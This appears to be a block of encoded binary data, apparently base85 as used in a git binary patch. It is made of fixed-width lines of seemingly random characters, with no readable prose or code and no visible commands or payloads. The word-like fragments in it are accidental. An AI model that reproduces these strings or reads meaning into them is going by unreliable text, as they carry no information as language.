z*XLZjYxFfYdS-gSwEPJ=5{uff|(emL^ux&#P?v9_dA`$EwHQE#4 z(>(6K);M*!W53e-^jfLKHhWN4N2K>qBh}@TSQvM#>`D(kve7X->BWIA%fBT^WbF7J zYVZ1ys>Ey&XR5d|8`4yUGmzx$xafUDz2=#V1SY$#7^y`Gqj`TER$!;ONJmn(GaC|> zeT;xkAgS^(5}AhVC~(C-oV6kNr|QZ-@8ZErH_K|PtRvlg6t@b+qHRq%ahGS-LYU8R z|Ez*kVqOdS$~4Q)IDngQGA__Eq>=i&dUlu&oou2ML$AOxxKy~y_N#yo?LW^+e=Cl$v8RybBCdkNM%H0#M-*+H z8M8jN#?;GA{qAfM7TgT-0H`mo)=iG=z0EKEfo;&Nz1TCew3%7(9XP0K{bBY7fWSvk znFsbln%?LM{BE}R$5q8>b#l|>712f0#q`A;8p?H;OfUe;X=ROA1prTeIpEy;#4^Mi zMi3Ui^?ZS=)vd_68dGm>G2x|*Agw8RHIgM+D0CJZH0e#uXLy?yAf~1i*gN~TbH_Ye zcDIF8pF#}@WWQF7`T4e78L<6k50utkK-5bjAFp_#q8Ur#1zV|n7X#xFh9Yn!f_`-v zZvv%>jNFo`eoch0j*7t5{L=ssE|EvvPbDQm5{^}0*h(nI8C9a1+Fk*+JjXg*@ zyh1X8922d-E!XYABD-muEDuQKF~2QLa63;^+Ek7oatl-CZxH99`K#Shl@)Azi_ zp1CfgomzXG)v32gRmn6y$`XrVcux0+=_YX$jaJ_8ztjFlhV!gU;mNIuO0{0Sp9ntG z1sLlz?k6uCkf+w)uyH&J{y<3jy~(%&T>IbGl_2-7;0BUhmkfQ2%wz4=W~5Kv^M*tH zf&3EMZp5C#&Yy~k*^i#=R&z4bV-HVD7vP^mzq=o@Qy@Rng#)VoXPaLB;Ri+qXD~GH$sP_*R zwExm^;8$mY2UzRtbHR(DTeYo$4}L(vG0E-L12stR`kdq+g-rKuXh0#|+2)^D^AFd) zzyANvc=T`C|GyX@>VGqM)z8}Y&%1-v>1aP@5RI*j>>cck-+_PmW^G`O$jZq>%1rvp zH$Fa6L{d^xrnjy(#-vQ@3I^uJh7P}$ym2&e__a_9{LaMq*CG)!2YUcNTGSeBV{K(@ zHx8H523qI=>A4fPWA1Oo~h z1L{XRhy-ZkQ>b4*zqI$457ZNAn5VFC@Cb-Vzy($4peIn!&`)5XpFV|w0nT~?=Rq(S zPcdJx2*W;8dI$H?_BpFhWClE$NLdS(^2jkcn}MA#0wOjJE6*UblI|nBhH_t24 z*J9!ll2X!d-m0joscUE&8X3PgF*P%{cW`uac5!v{`{*AK_~~;{RP>ja*tqzF#LTSh zoZP(pg2M8O%BpHeO>JFkTYE=mS9eeE=-BwgDl?k<<<4g z?JsmefuR3J7V!69(uD!g^#le68V2qcx}cso|3Wwh%+nVvu$aP1aPMrNy=3))e=ZW4 zQPzS$#-@CXWnedgh)vGELUHm7X}?nTpAqK!e?-}T5%%A7&4Q4jp@7bV#sCR|E_D>z zZ$r~Uz?Hasyzb60u~FK11};$GQheX~4ZSZ`Jl%t~-s0wRhMjI7;+)-)rkCbh^8C53 zoVEk#nA^xcsI%Ni8kT8+)+a&@UpLlH?Q;yUDf>=tE+R0bFfz#QkXvj!f?78kunaP2+z2 zbiAh)7F+Z*N(gr_(`E8>O=r}ysDa1R-pn&MX@%SxWPlJ3V-@2<(9MH4$P7QAGTwlG zx(l(VOvzi)((X4#;orX;)ry+?)UN-Tc_T%N_H9|qkrw2Us20C5q0lsLa+1l|{PKhB zWUlEfHnk1NfmXc5FN!}up!Wx8GW-Ivjkz#)J9S^ergoB=mb0+fddYQ#Znh%#uu%6R zsGqreDHi#IGVZ==GY<#HRFHnS4j6MtrfHnfAdKg|g(1AUQV(L6M^HbvpaUlzj>fgS ziC5{O1%_Cr$gOjWWhd-~R{nP~J?SiZ~NHX3(9!F85W z#fg83A6%fd)pG2pj32!Mh@mP=QO)D)X=vBqWW_>bdvmEhF|5W)G^x*&lm(`9h`!rC z`7Dhsm%GcYxX9Fb>eWL)ZLYbZ=KNd>MMX|WK?-^34DK?VND(5codiEMkOS+n`T^?V zvEHi%X$i~h(rNK!O)NoXB0B6kZHeBM1y#?PeH&`cW>U#@CjYamDNTVq%GAP8j&m7| zAoMOgeQlmj*V#O*=v9)Z=J-i2z61~Eiz3T&|K`^ec0$_gsp2l!yFe0g8_ufw@8V;fsrUgX z((epEn1s2D6250Er_^sgSVXnGS6|COie)+rT=5Ar3?;O2gml!uK9L=7Yb+=(e`gNz{`4xBwj}&eH>aJ!R8Ccr}CiJ@y$%J%at**U?3-cE%E|hmF>Cox_$&e zySP(9hhoFA#H>{*qhRIbL#BH{^$p(Kme9AgBm2*?ukb{&RmF+)YnvdO?7tH0M&09?Gy$EO~Ykwyjl=k0k@#$S6`2wb-|W$MjK|EYvv5pWz8pX zd}64vuCM9di4q#bp(6SUbq^MZE4eP@7w=N4A9I*lp|o(xnlX7M5+Z}yJ8*_gWoiJI z-eEcK;`P=~`};&C|NF(EgH^$*Hb)~XtOVHM?$@8*9yIgJa}&PR4FC9H&SZ7Y`T!;E zI0D4w%5%zs*fr)naAiMN!oLle1513yAq9IV)~lY+WN17IodZOoI=@vu!wO9@#9TCp zfVIPc^GU5zP(JAhOLP9(e5+c({z{azu`Y=FK3^qLn~M?88>L%OvSlq-r})}St8ub2 zMS4i%TXncB{cs0o>S-(kp7?yLad!*3K3ZqA;_>J2f zktCfF4(=lsZRq@=Do*v!ngO*xEry1P6`gjR>x)J$|a#{=8&&7 zHgk5CC?4H+F57Y|YFc<$pXs}SOIC|vyIWOG$7Y%5L$ZIv9!ODqxr7;YV2yig^VYzB z*t%ePiYotlwzKs}#s7RjUXnddtg$W(U^?{68pAl`X4ozBC}x*Vwn-=-A6*Nk0LK(V z?UUk+CQf|u99v|2`dH&xm&YMo!{6Ows; zIVW}pbTzzH1#F!iUD`4BKETR9*5u^K^Z&5-7Ql7vTDzbb5_8P#m@(VTF*C)?%*>9N znVBi(n3)~N?3kIEnK7o>PR_aS+ht3C5anOkA=xK%U$fwHGUm5YgMOm zd{Rd%6g7W}Kj)H2g+vAOgXA&Ks-Ku7GoE&mI#_`3L*ssZz z3~mNvx1<&h%s=k@dS_B;Zlfc}<=fGPksV31{b^_^K|wD`B;#Tx3Bedc52^be)y<3B z!yG+?;XfKD(u1kZeM|Xl3;7_-np+#gAy{Z{`Lt)*0=i}^Q7q(O?B=+U5T=?YTtCh% zvACxbx}ng342mtP0$0;t60NWWo+WuHYxc}oIdM{<>xRd_0nbI$-r|GQV}xm7JqX1^ z3Fia_9HhNuCh!T6v=6H#!B-X*zt60DO(ze=el||O&-5#7vrnDvTI784yi^ILMG^i+ zG5hxGKCJWi;(#G5O>qOzjwJ@h$l9L=BqrK-n=;i+)5Mmna*3cQ&1`kA|Vb0q+XE>`SE zl{I^5#~9uAAPW@_=Fgd8Cw{dBBL?=V;WVK4n!O^DvFx2&n{|55m%Xv3t}?;86Evq= zt&^4#5^iv^wZQMpSn+nG(b({DDtbd0qka7l;=vOK-iec%+X?W2*o}v|%OAE0$29;_kq-ht9XVA-x6ea* z2AvkpqK~AA{GxDDUo$4hn3ET)P?7sb#8El$i^W6%ujKRp=7HOrzxfuAr~Ay=Q=MCA zD|UI8p-Z1DTQ?eng=h)kG7fFTW<@Ep zUEl_6U0MqfJ`yo}^tK@c#lsx8u;?Cb!s81FHxGzgO3UwbaRra6B{kksZ4?d72p0X$6U~PlLd4pCVtbIkI)DrF$blz96L!x74xW;;RXN1COra*P zx98cwH?zSJIbpjuClJWdwxN6F4)6jpGqsumyuJhKZaC1B3o8ff8{LMvL?`+2k)UQKfYBZcxY0w!%ApE;q-J?LxZ_EdR8`$5QjzfVdNa z*nnM?@6E@X$ti=#q(`y!VWUf>$U`CD-cAGL_Xih zM*cr&Sq|4jha6fJz}+;$85O3o^BOKJu?tf0Q^$w{ClPI`vKPW5{s?X6{4XHa0uD`*U=aiSa!nM9=?Y29IayfIe!ZGTVzWW4*mH~r zi45IcC~`o6cdz}_?m|FyBlj?^Ko2%;VBSxS%O&oM_o8F!s>7Vc^n~=tx$aH!qkOAH z#i>c*G(f7rJHBiQq%#J#<)|rj>9|e`{^M51JSq zHY26QdAR!~?$4_~U%!8};lF$R_?NXufxqz(%i7D@*HSS)5>5cW{$7xIYT+uwS~zIG z?e6n{n6^!Lo*JZZE*+Myk>B=si*z#ouv#@VRGdimYjBGnKYc z!b8|ukB$94SLDsgJ#HjCo=?i`GsjtPmW!>iW082x_mOHU)uA;83S*FBBvBp1W)SA`!W!4V%)9nd_%4&?aS;WQ`_M=}=y@>N;#(^&CnR=POyp z6^9E}RUcx|{Lk|2gv_b^MM7{K%Cn2%hj?jgZI8^l_O%Enxx~I6q|&HaE`KW^VkF(} z>O5P(D_*T}w`T2g!`|Eaa=yc>DYtlE44vdYMUj8Ns-D=AXpY7~_Y_-l&y zP~YwaL@jW&n?oy-4#IBv)G}60yz>)MI!U&RZXg36$!5d*>~H7570eG-N9ERrs-^Sj zdu65Ni4WdXn$zOhL_s7zvzhRpX0Jw3G@SkTzfB%peWk6fk9h%^_>dQ|{Q;RDK%@hZ zc1?d!;HU^-#u-G!<-@HnA#2T6M>p!!gN)kcbiR+j8YM^oY1UZyJ?In+00$j~H-?lD zQMjN{0|t(ARep;uX!-U<^NU*ZbHmiMJ?pk${(3kjg9bi6eP6N4p;gaFmq)6Kmq_Tf z=MFk~Y6a+OJ{uvGn&Z5VHFBsP$Av{B9G_#$zu-;#JDHl_K*G_v&sYOM+R27&Tn^(V z0xCmS2xoYz^=gpSp9)Sc4mi!7S&vqR?E2W)-h4?uA2-jKel+xgjx2qoF4(WH;iS7y zJ=pzWESFz{^u`W~ojm-!Pi@JAY-6)0<`6>$xwfW`UbQqdmW)Fm^H!bEmVx{qmEFv9qNs5TafjnlU4CI3E@F- zssn&UGO@E0vakVuS5*L5Rp5=<19P$ddAWbAXS_=Ox}Ndp>VmL^u7lyfuP-pLFfjjR zeZg6)PHoWYkOgV^f%*|#wkL@M%*VUC%Ew8WuqCG?yFqg)yYcBoh#fJu3)xacIE*lw zGN#KV6D#s+^KA3%r{~@NMwAh5@AlpEF#v!4G>Zoj$}2fHr9hWmngt=3=bIP4ryITq z#!Mlprr-993$r}-1LN{7IdQE9 z&f1*J(2vDXj5sUW)`KvC$OXo1Ip~uS!KzZYj9HqsJsnbgKe~w)a?>W3J3jPzJ+rx&q@`@a$+)=<>sM#rb}7K` zDKUc0f-2tngGXn2wpQAGFmFz#S6z%UKx)mJgE-f$4uG#66HKkJO1~2ZgfM*!F+r_1 z%sCX6YY_UGi3O8V&BVz4V~8v?&=_g^ym};ob+cio@e5HL6Bi|3iY-CNylN=bkKv0KDuwf2(qw}&UQKxM@u4HtG`?i9&E*~EqqNeB4VCoP+}J}7(&(Vr}4hX zJiTXiM^N!8@bz}=ba2$(@cY5&r*uN2+8suUVk|(>x-3vNf&zYrl$BZ;M&ixrP&avi z$(b5aVpiJre()U^{Y?N{KO=*2KtSY88lH-vr0RszrrD0seQ(9laKEG{vlT9NxhyOJ zK9N;fmqYE`RtxQM#6jF(Wq@d$PiwIn$v!x~$`D(w`W)}%2yZp4aOc!TEhjeUs3giz z6z`!dRd1w#WNBX5JpuBtbKa_zUo^Ute5afs(0`pU9NF7r5*$L#S_MWs7>9W=2Q@-- z%HkG2cPI6bTXh`-zgdMwBhp~QBN}1j$D#gGzRhcMm6*a^q_m>oRQ+Y$1{xL`aU{r2 zl!t}Kj>eTYF-eAmao>4Gvnx5`mWP{aK*x&=Gacm|P~YIzX`l`%%8_w(4H15~BUitK zQyf>;7+RuOIpzXQ?xz~IF!e8CI$Ik!EF-E>rxz~7N{k$)7w5znt-q`N)fDa z^DhIp?#tP)ky%FshF++A-Cq(R=hp?Lhun0DbO+yXN2%2+F7Cbvaf~yrBO6d5Lx-5L zW0Ore$U(0=Ne{WPJyudM#@*(_sLJbLIDAIfzYPv&VHvr}8Y9suu{WxPOjn_VTCqFEg&f8C7#fyW6TC#<5=+!I z6;YhlUX9K2UGYf{QZupn%vp#N3F$dK(&EFk@{>sb*#SE4&cg1x&9vjQXc)Fi*UhJo zC3RJgKZ6&e3l~+d_QWZ>a5ZLgbQ&&tN}9w=rlFcc6bPoJl=hgx^)S#lz?2{9Gsg`I z?^uL}^R`wi1kEcozfL6!wSx7OM&|?{=|tn9Q!3hhmsAQOUukS%9Y;bfL#XxlJ?gz#oRTEmWvqDV0$ zSk7LR7LrZI{4g>Ya-j7dL9LQD0a^vLq-;3DVjv&y$x-EG z_by!uE${ZCM%Ss0__t3IC9#7}yT#HSc_7J3nsrn(1_Wn}4)^155&^YxtJmFB`OD7v zrH7l@+Nr)a^0@71er4D-yIRYi`aCv6Jv;3yNXsVc;X~Xm42YHWnz$^f-mEjWvdmr& zH%l`M3R{+B$l)21ufR0vTI!;n2F(Owx$~J4++fzMAv3sz2kK|Ekf?Bnj#0DTZ!ql%*1+c}f<1!mD?FL5oX$>{LI-P%I4m;bRkU8ui(Q9TQ^=nw-2G# z`cp1_y`*7>X@MzJI@D&dj>a*SGRuar>0wyL34UL!t^9@?^YbU)I`M^5$fDy{Ut2rZS96PXP*cS?Id0iJ~ zYueIVbQgdy^{Hn`Vz$9fmK`TAo+`!TsyujuX~26!r{)?pziWt^*^A^^ZS!+gEJ)n@gZ+VJMTMldB*%42pWP}K9JE0+cMpO?h%g4|h-XVkG z-v^&<$0u83ZW4T^HUGjfT^HrQ*5vPf!of7$L#DI&NQ2*zf#p%S6>?%LcvwKBXcuu{ zx^Fk_(qVer%HOIXjeUD@LX{G8CiVl2DEce4qUvFc)Or!GFBE+|4q&>T76! z7l04Hd+y8BsdJukeFn-WK&0>{;BtN~iRPW%BW2*%lR)dL0!Yl1{T3B$cih$<0qUK*D2|5ip~G0 z({@%u2Egw*{eN-B%}W2TGwxrKzuw;eV#du3U}gK~88_Y!D;n05lZrFMMiFz`?*iaX ziywz*d9D1|rFWQuwq6j4ZDT|eiY*k`VSKHW#ZZOhmZncf3wg3uJiUJQ89UeS7$xqm zzBn_C-nX|uKNzfsdDNFQx!iI!Z6`uKp6+Y6huaeL`U9tvx1>*4nm;cupBV~IdsoYb z1q!Y#n%cK+_cJm)L)tf&?}6SD*t6Kkhdq2gJU>Nl9weWI+UKB+!f3g-1*s0pg!OGd zp8_v+e|7#aX}vmMsJ@$Kd4omXz3F%68SZms)HE;VC&?y`X*g25;*M`-HF%MJ=Ec%b z$@OxbRmgLocH{D`%*yy{bQ5Z)<(t-cnNolYMo9QMcT6wR@Y&$uvao^l&q}ftZ7{B^ za~FQ5$*Iv>3=G>GO15@eTi?|>#wZvq&f{^(6VK*}9FaT=i- zwoi0i-VhoqPW>ZWwk+UzCb~bB59XYO8R`8Oqh;>mc5W}&M?*aIp$_UgHDYcEJ#DaE z5^2~mODD)xG@B#7D%Q=}y0^xfm-E5wGoBCX|>lo<-n6awxUWEc& zG5uTZaWG#j42XO%7=1xty;BgP+))a_+*saq#u84wRS~4iBv82&FUkJ`QYu6&hB2VI z%!jSFyCMxk02S#fw#Gk6Op8X)>#oABJVyCe>Y1U!P``8!!gr=^MVb2?4<8kMs*Lt5 z2hsePX92k!yb9zzbTD2Ku|!e;Vvt3*HzMe|yz!aO-O!W*>`Dxx7_Q;QFVA9w4}$bv zN0X3T1pxAEEDZ>9mW`g#4y4DIw^kopH#tecVY0LnOdEX$1Ti93T#OXvQ9cZl^Xi1Q z3?hCc2&k#0{J>Jrt|tUXaQFF(G&kGL%7C*f;SmhT*-?VhTq!N#Mq<4=ht!0!yMt1> zQC2){*ff6By#@njh%a+Mm=8j&*sAi{tlLy?((fC#6J*mFj=-kD72>5M{Qyf)#h zV)v@5EKKodM6to=vp~dBG&wl!YCIA9VTkHn4O{!x;kcbaHtXe91HXc7g-0>Fk2uvC zpQ5MZY!dizxV8ER;40*|;V?s6A!J}?r@_(50ZMgju&tS_P zHwy?;#9O3IWLe=tZv1={k6tDr%B?hiZZhW+R9h7t)EClm$@kt(z*vO7OZH4QoN@T6 z-Ucay>hSZ8^1kSuQa+AyCH&3_2J=}P8kH?7)i<`LZKWPP#xR*rvP_#Be&TH1>ZQFI z(pvTVoly17PF>5i+^ixPEbqeg`jAaq5W0Ks6mX=n)lpcAjH`U+%Lo?gFg;_)az9df zjxOPU(ET=U?(X1R7|+Tt`DJO4N|boUtc*Sl#79RT^v6pzB|!JEs<@2`F{T@an^;Dj zhg5teq`z4_76pnWplrF-S*cF=wvkBmgTj;3QCj^o_b2{p{G_wh?>3{X6jT=FT$2c? zwNIROk;&SjGAO_Azm$E33fTZ7NkCP+>rM@{O+clXAMmVhSBF-xJW*vo zh7C?MsTxdRXx+2J3F^A33Nt~&be`7Z@Go*k+CiUbSye)cb=3|ua4@xjaN=AZ)n#Tihx9s zVg4Q4ET(L3@))fee}X29j3$cu41c7daoKF_#RA9p#W4x+M~3CRX-dnvW*sFIFTb6lHLypsOWjCMHT^!Ef!p2 z5bD!E5f#3(kVq6mK!o*g_#BW4@@>0=j3slH`%p<>nXy!$BkUumksEg1`9VIuH5_wD z9!#@DXY4X1#5mP@PF<7AxZyX&K?!BELor2qou0WJ0un*T#QaUH_M&e`kUQe)3V2Jy z?bLA^&^{LYn8Q(d2GAXbG=+g{Bc-}z|$Diavjtv%{Mk4NGG=UY~s0&QNmqn_1i&M3#JsOB5O!e*~#(Jo;j)lDk*hgiy%WXoWaz z#VEtU*d&%SKVcUHRkTIk_TAXY;{v0>`|J8{?w*=;%_9@cZJaVRZ(^Fck2kyzqkb#`HafAKXshDnIDWw- zdsDN0Pr;1*<=`H9Bm5%fdM3t{q@By&V*$xB@Y}(y)1Qpmh6FvVtP7mU05PofQ&s*% z-}zs796oWJf$jVovxMM)8d%2re;Dqt1pM8S=RW$k2ufruQH!BuR3bNbOd z!t-<)LUsPcR!S!p>dm^6pMSUUTR~SGfggIz+QiJwAI$M6kRVAiOe>adAR}RK9qj~8 z24fAo%6`TRI(-#;BWiJQC)VFi8iu4)4I^QB>aYd(Q!&E8RQrHZ;*Kn zKh>Px4RE;kWc?TySodffr7*Q8a6KVq*I8V2L#6YXlJ!oa#p<$cz#2*9ma(4*U}qb`)?cHPdl&G-$}dE7T+PUQLfH~=z-SD_J=;rrk>8_XuAW_MPC% z@-~cViTpYVviS{QTgk_x0%!qt((kf2{9m6uGg@tK_{T$BY6nc z7qIxn+eRv5lGhtRnUG+(cTt?=EK>C+@;&-fYCmbG_BGbo|G-L9PmMT%^qYpEG`;Dw zt4#H(Sl6g5)``gRi!J7DET_OroMAC(3=lWf5Rf1u^^`NEed{5OzJm{Ag1p0aV=+uC zIA(hSnc*5OosEnxtnpQWY z$45z4k_8biNKN^{Fx^%#jyUWptBUTA@5ilfl+vR_1xd&Q9()4NB|G)hr8ysE%O)W- zEWi2K#CRXZYcmIXz!7a+jIvouE0!uq#`D{1B4Z`mQZ3C1bamYLRB@>Rv4B{SAkZg6sb%D^5XCC2sJs=_DpjB`EP);hJ8MK| zPCY#K(l{|r!G=-d+w1$cQRtkT8YAn-Ay4g zj#g^o^Wm^=EbrZi!A1qPFt`LaynKvi8Ys`8Pt7!grb$8_*h0{Tf+NtCcwc5zk73*2k zCQeLN#g{y2kDT6VEL#Sbcb(9Ci&d1mP`~(F$?;&rbg#?Dp`*mO z#Ssr2cn~DwW@|1&sqk{DkDI`w+i;tMGMCCaob^*7m8(y1)Ox4kZHxN4*0Vup z+HYwIeaiamNMwlWh@;_I$M-C$6SKKf+a8!$NNWfIYYL!lt1Vax;Jt@}-P3rgI< znCiQDqg~&?B!3%Q=-3Ws&6`TkAX7L@M~Rr(|dhgYYVTfnfRmzg%d?`#m%M7Py;=R_tRl|H)`t>Jt>Q>#5c z+_89*1RA!UOmpfO3m7VI1>h#2wjAWU(n-sB#)Mv+b7q!pjCJJ-fu!`Twmw`jlC_ZE z6~_80rn~uiG6@w<>&hi2PmfEbsku&2wfPTv1VmVqAnPi~o4xejcP&yFRjGv5 z-#X0T`f&-9+XH_r5mg6E^m^02Q}H*)q&*Z~SsRO;Y;i1*I*$)Rw?p@!s*`K4b%B8J zl&=G2D1uH0pB3)H>77Om8S_${F=$~LL7#dFWUvDu4J9P zW@|~X7prz0^)2H@TRXz%T&Q;50v-KWMr7h#L{37uS1E<)(MPqbQ_tS_zMomLL z2e_HB&ykF}1~{&h&$Mg_P;57{SW6QD=aH3+65qoUYMG;I>I*uHqq+}5{xD>W4$P3B%Bt- ztDE*46e_SH>2ag|02&Ts(FAA3mKeLzD}uGy!f|)+m|j>G2@GLxWVBIFHJq7oD3T`b zDhhh9IHx8ePx$2gy6`iI<|NOA^QFYie3DfeI5!$v%{)TfFtgNbK=?t%$`H7L(9zQBADU9Yje>+96zvVAfjba? zNo53p>;@Y{I|tLh5FP~oK|YYNGXU-~RR2vO;FBj*|C8(>c$A6Uahw>*oQ>)**BmbiPOZd0yLe4hUcK@dTTlzc0>qY+f|C7q_ zw+8!Vq+ivPFg36zRA+oO7a_whRF;t8kJvBj1|dD*x0D{po%p5nN1Wj|e*>857kdI2 z{*nG?DSsBj@VguahClQe{?KD&`duF5A9AKYuFmv_KGQFH2O$IVuV)ElX}kj9z)G_G zLYxU1egWdZIP359KS>>quiTYiWQ;#8@Jr#}8_oY_A(0D&`o-<3V@y1e7XQsf>2%eSLBNdAa{IJGpwYKA#$;^g1k#@j z))5~pcJHgXMy=YC&mIq>3cXsfHwzC3VP%yEd-7G(V$Ej^7=I)!hrX za%4q)Zbb&mWJSztuo4U)K;WI1hVQw8OAkt6yKn65D3EyD_MDg^e^rQ;l}mINe_yCf zZXdvheqG<9ZR*$lXZbjkhH)5sJW5XFcDeyYM0f|f3^UF(%*};R% zr}T2I&Wp#{_Ds(Tzxmzd)0^H}Mu zG_cusX)ZrM?srPvMKnC!#m zS)9zOxYX#DM1sT4ldP-$=uf3b88_6FKzT=RyzGdwoB0Cs*vG-LfKA7TP!JwOaip$O z`4(_QH;xt<=X%5?3|(rjCggrM#5g!9Sq${;fgi1|SMMlh?O;~YZh}(IS>kbzZGSF3 zsZzdP^@pX#RQkB=s4M`=IG1GxjkE12E;dkpB5I90?cSH3)I^G33#zV!&o8LArJ zh^@)Mjj-VlHUNjCU|T28A7iILFQs&_@8t7#nC!7^U6)qTalpomlXFNDuf4W5;A28g zo)W2&7Z$a7HVtcgkD9X14I%mtFDX@p50d?OfOFczrhBwXY!2odtx-pMeQXC0*E)=n z_#NS@fXDz{$Uv+(6r^8}qfmQs~Jzv>>hT{~xgIh3A!OCPJh7g9|^7l(w z9hH0T!X>>!h7?%=6*;B+bYDecSctV`MBT0~r0tAp#3+rmC$a2%n~|tdU5|v1vRqB& z=4h=?Q!4KA15@XIi(C>FGOGaRgYnTYdj(mF&L~E!~!6cYa96b^PZWy#R7FJ~%V@t~rRakhp6%aIm{Q$`h|O z7q!w*V)ASU3z@L4DTv;+uqc|C(Nv?sx=N{<2thw*r9u57+qgmyp_hVsr18;>N zy$N=F@%G;9PQ0O;IBPifUMJ^GN0b7u5>i_v>o9kw&j`fuU7?WJOO4I%aEt$|HPtNd2||AM;FiHu z5I5ZnyDK?u(Q$o52EHobytfRirz-73{ES4b{(Xhpw!f-cF%?T2XxXqQ7^IkmdDplvvG61O_Qruk}9&VT5Tk3Hj*i2h2416}HSw>yR*tiA4*N-;^^ z1lX}8DA!u7f?Gj$PhKF|VVNICZL)>ehwb40+NxPpa`sZuD0WTB>&6q;aQP)3*>WN3 zWY72&*G~ZxP4QSn29dT^G)ZDI+qG>!9YK#MzQT*MCP(5u0zVpq5FMiD6b%z75{7Av zu@gC7JLBsjR-79%Hi8688uO-FF`N^&+VVR`KBl2UU~qLrlSKol{d-R6YIVEZGq{8W zxjlYb7~E>3C7ni8Lvgioy40$%G(qm%CDJb@E^UbDTE|@bSdsQVErGP~b)!N!X8A`Q zdl9=*$@J6ScbH_$H3i?K?_`nj z`TE0=LC_7V7dED>LTYAZ@f)SH_oS=5B;|D4Sl)d~HvVWqjR-XHC2yfT^qqzZp;x*j zt~vk3WHS{NPc(a}A49}tbOd4KWIQ-MYVu;y$RjijC zfN(R;zG;7@)NR!>9e6aCVwjsCt8D{&!!DF7MGp5!kMv^0(b2QQ$AK)sT+(65;bJ{8 zVx{h5RtVSQxz^fHK^No)0*)lrW&Pz zET(8(dBthg2kTAPFJv%n+WVj+Nbt9U<8+Qfv`nBV7~Q2kQ`l7Pd~f{`Ci8_D>y;nM zVsvR;bo#Zx0%*Q$$mZtqk9l>8wOOjew*;t7Zdt|%N-*S8xte;GWO2cKQj9NRg)npU zFoALkomcNh6%I?q%88Ko!YmZ{(<6L;4ocS6MJU?5o1Y zhi#f28g(z`6p)P478Zvv-I$H(>)D6l)J(dDFq^ezmz-u>5i{bZ`ZnM_0ZF>KgEzSQ25g}vCNCDwB9@P2ke^_ z=`zaY(kFx3^sSv!!DN9qKLCp1&a0k}`56Ag7qmX@%7BmEa#JfkmIRfp>4wHi1G-Ce zJDMy2>#7DF`E-xm0#)OI#ARbkg50FtK&D&r57zj7Zu5VrB=Cw!Znz=gsl?v#+!P|}od_15EyL29*ctU9r}fVqCSbt-QYVLk zb)oa95k2e}R#sIM_* zzz|Y)^oaz(dXsy_I4=?HWgTnT1-_}sQkzQ9qsi7?A??R>4XRuu4ewV#8A0ir;6X31 z3{mdzcTljI%{xkDs(t|{aw*-)cZJE6s+YYI?(TXhbycy zqL_PgCkIFbVG{r&)Y2j=_57{VL;O=J22LBk=)P!BqKOlDZL6HNA~$_^{3t{~%- zLsk&q-BIi9_j%t`BEi}1oC(78!w2!Cz9|jLQk+> zs^p3)5P@6yJ^REV-Z-X5zvh|uvlJ&*G;)wb7 zD6VL)6;$8xIfeFEfW4(vvv5cAif|>sY zzGbR9EO|XqgZ>Sbq}iowGKW z14P~r`&M(p9N{7@t!HpIBZ8lw;=^sZx0=7jyVJa*DJn|wAGmtBv+2uoNKMkwOR{~4 zrlvbKUU6l+Y0q^gEI1jk;t_*gPRdsqGL_{pmykihu$uZ=&cw^Z+Y}_l3R7E9#X%Bs zMQDu7tPt|u(C&cqF7m0QPA_vzO6sco@-V0y(~LJGK+UFAR54;+#7Y6cr{15(XCQ^m zjy|1$2Ztv15GPZa25T`-QgBn*!nY9HuGpK=l zGMKW#B|}@IdCt>t$8J&2A~3fZV)0|M*`cCgVn!X|j7oFBdai;Id31r!(bm?EhJ{zS zpmeFw*ONFPk+TDA5?jZM1c%cM zozSmU^1j8LH0dd)o8p?3^+@7ilZNgL$Hc=nA)zYJy=UYa``MG5oN_^0$-=#+vD*v> zmx1>%A~vh&K{s#hI z)YkD(urL6?!UQ~kAu|8~U;>^qu>b%Jz;k9`$O06y0wb?+ zMpj@b1PmE}$C-daR$w{{JMa(y9>Bc6^nmHFx{N^iYn*}Y4?SRB7JlII8UnA!3ea?|b<( ze3b#O`+9G$_5Sl7f7KmWe@0-rujvf0_r(5tFOmSz?U{qAwUr2yasYsw@~?=@D~k2kC-L9&j7I+pto!X5jh=}e@GJUXE5k^qyrv=5U%U{`|3hC8R;GV>L7IS_1rj(PlI56}hXcr$5VlJaQO+t_OYvKA zZIkf_g-9rb3D%fr%b%sfe#W906YzO&_n{^N9KiSan|&OJmZPB|_hVuI=4JVh>O+A$ zpZ^M|ACK_8@dh9XjNgE{`mDT!)A=_KnVH0Uzj>hzB6^&u?mZwXsK7sYzs%blZAGXl z${J0Vhx5xggAe-;?t3&)mmB*c^vTNk);&)G&*`3^T0{1g|869v|ESKD`LFIcowbff z=#fD{V7z&0bzU0L$Hu#S2vUMEr_*_Uu-$kpVh6h|4U2hfCY}W5FL4-4<9BGYC(mNI;oDhPHio^<Hozd^avn?FyDFaUX1aUnTBFP z5Mq;8z*9rZaRe5=RzBk&;;Ec|cNL0v8m{Sj4XUhEWb~ISGkcqLxsPkE;fbY)C;rAJ z|5@EE;9qP~1rGv%>E@mDnvdT{@qkD9V73a9NW9t`Qb)PmTo>2TY%SiPf-z%R`u31z zCcqKru(LVBQFpnwxzg%zhDQQ>{QhrD@*ma3vj1!EQ3dY}Km{Mqf}Hb`6z9P74h!E9 zh1gPVt}I_**Q?Myz{b1HQWEo$*350suPLjM$)=K>kSazYUC#TPlX2|*8j>e?ZRvIp zRS`4de>WEMe^gidPo9r~UF{UG{Sd-+e>VVCGICJyj*ki1qHedlMwU6`ejy24zLNgk z!}NO;FaSFl-HR^Nmi>&^KBxaJesc!s-~AdnA2l*CvHr8uk>lxhv&B!SP-mxh-#^37EYyl$yvYcK zFYrv1Gf__Bk0VkLF*uvxu_y9KB33BQ$82`#&$iL#9qSR8SS+F5>b14N=qnf6Z_wDk zo1C_eCe4OhAI))A)OS4MNEtfKEjA>+$~C-w_E@i;>3r;Ru)K7oW2F6zuHe|a!KHGs z81Yt_@^r{!&rLC-itT0pvk@8|RmCpDWbDGU28S4T7XDBsb5eOz6h6|r!b)*Tvwb(p z7wzf$8z|Olbytf?b2rm%W4$2s`!yA*&dMyW2Ggz6WewMCDpx&f*Y&+N0M)*dd&X`< zvQgocfcOwbGMgioDO{*N$7z7jIWbGf9ml9O{jl^tw_X?3Hq*!kvM#{I!|C~o@D!63 zU3>SQwqTy}2?9`xl`=3euVWFo9#`%FiIZnd)v&*{M<|1M=A4dj%awsG^8pE~R+rHo zQq`ePY{qjkK}1jL8u$$)&Fuj!f$e>tp65b?Dc5sxe6onbxM)lVrX<86BHb6pD76n+ zV&t2S`)X~MhuYbkn;|z|lW#ja+@1@vk{n8<3K2b*Su`2h^}on|!^Pvi>sL0QyL1~@ z2THj?GO!ZNsd&UNKz%_9a-j9ULa+d`|AIuq5emW*UW%_98%z4 